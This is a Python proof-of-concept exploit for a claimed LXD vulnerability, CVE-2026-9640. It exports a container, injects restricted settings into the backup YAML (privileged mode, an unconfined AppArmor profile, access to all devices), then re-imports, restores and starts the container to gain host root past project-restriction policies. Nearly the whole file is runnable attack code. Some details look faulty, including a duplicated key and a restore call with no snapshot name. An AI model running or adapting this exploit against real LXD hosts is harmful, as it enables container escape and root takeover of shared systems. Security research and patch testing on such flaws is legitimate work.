# CVE-2026-9640 LXD Privilege Escalation via Snapshot Restoration PoC
# This PoC demonstrates how a project operator can bypass project-restriction policies
# by importing a crafted instance backup containing restricted configuration keys.
import subprocess
import json
import tempfile
import os
import tarfile
import yaml
def create_malicious_backup(instance_name, restricted_keys):
"""
Create a malicious LXD instance backup with restricted configuration keys
embedded in the snapshot data to bypass project-restriction policies.
"""
# Step 1: Create a temporary working directory
work_dir = tempfile.mkdtemp(prefix="lxd_exploit_")
backup_dir = os.path.join(work_dir, "backup")
os.makedirs(backup_dir, exist_ok=True)
# Step 2: Create a legitimate instance first
subprocess.run(["lxc", "launch", "ubuntu:22.04", instance_name], check=True)
subprocess.run(["lxc", "stop", instance_name], check=True)
# Step 3: Export the instance to a backup file
backup_file = os.path.join(work_dir, f"{instance_name}.tar.gz")
subprocess.run(["lxc", "export", instance_name, backup_file], check=True)
# Step 4: Extract the backup and inject restricted configuration keys
extract_dir = os.path.join(work_dir, "extracted")
os.makedirs(extract_dir, exist_ok=True)
with tarfile.open(backup_file, "r:gz") as tar:
tar.extractall(path=extract_dir)
# Step 5: Locate and modify the snapshot configuration files
for root, dirs, files in os.walk(extract_dir):
for file in files:
if file == "backup.yaml" or file.endswith(".yaml"):
config_path = os.path.join(root, file)
with open(config_path, "r") as f:
config = yaml.safe_load(f)
if config and isinstance(config, dict):
# Inject restricted configuration keys into the snapshot
if "config" not in config:
config["config"] = {}
for key, value in restricted_keys.items():
config["config"][key] = value
with open(config_path, "w") as f:
yaml.dump(config, f)
# Step 6: Repack the modified backup
malicious_backup = os.path.join(work_dir, f"{instance_name}_malicious.tar.gz")
with tarfile.open(malicious_backup, "w:gz") as tar:
tar.add(extract_dir, arcname=".")
# Clean up the original instance
subprocess.run(["lxc", "delete", instance_name, "--force"], check=True)
return malicious_backup
def exploit_snapshot_restore(backup_file, new_instance_name):
"""
Import the malicious backup and restore the snapshot to trigger
the privilege escalation.
"""
# Step 7: Import the malicious backup - restricted keys bypass policy validation
subprocess.run(["lxc", "import", backup_file, new_instance_name], check=True)
# Step 8: Restore the snapshot containing restricted configuration
subprocess.run(["lxc", "restore", new_instance_name], check=True)
# Step 9: Start the instance - restricted keys are applied, granting host root
subprocess.run(["lxc", "start", new_instance_name], check=True)
print(f"[+] Instance {new_instance_name} started with elevated privileges")
print("[+] Restricted configuration keys have been applied without policy validation")
def main():
# Define restricted configuration keys to inject (examples)
# These keys are typically blocked by project-restriction policies
restricted_keys = {
"security.privileged": "true",
"security.nesting": "true",
"raw.lxc": "lxc.apparmor.profile=unconfined\nlxc.cgroup.devices.allow=a",
"security.protection.delete": "false",
"security.privileged": "true"
}
instance_name = "exploit_instance"
new_instance_name = "exploit_restored"
print("[*] CVE-2026-9640 LXD Privilege Escalation PoC")
print("[*] Creating malicious instance backup with restricted config keys...")
malicious_backup = create_malicious_backup(instance_name, restricted_keys)
print(f"[*] Malicious backup created: {malicious_backup}")
print("[*] Importing and restoring snapshot to bypass policy restrictions...")
exploit_snapshot_restore(malicious_backup, new_instance_name)
print("[!] Exploit complete - check for host root access")
if __name__ == "__main__":
main()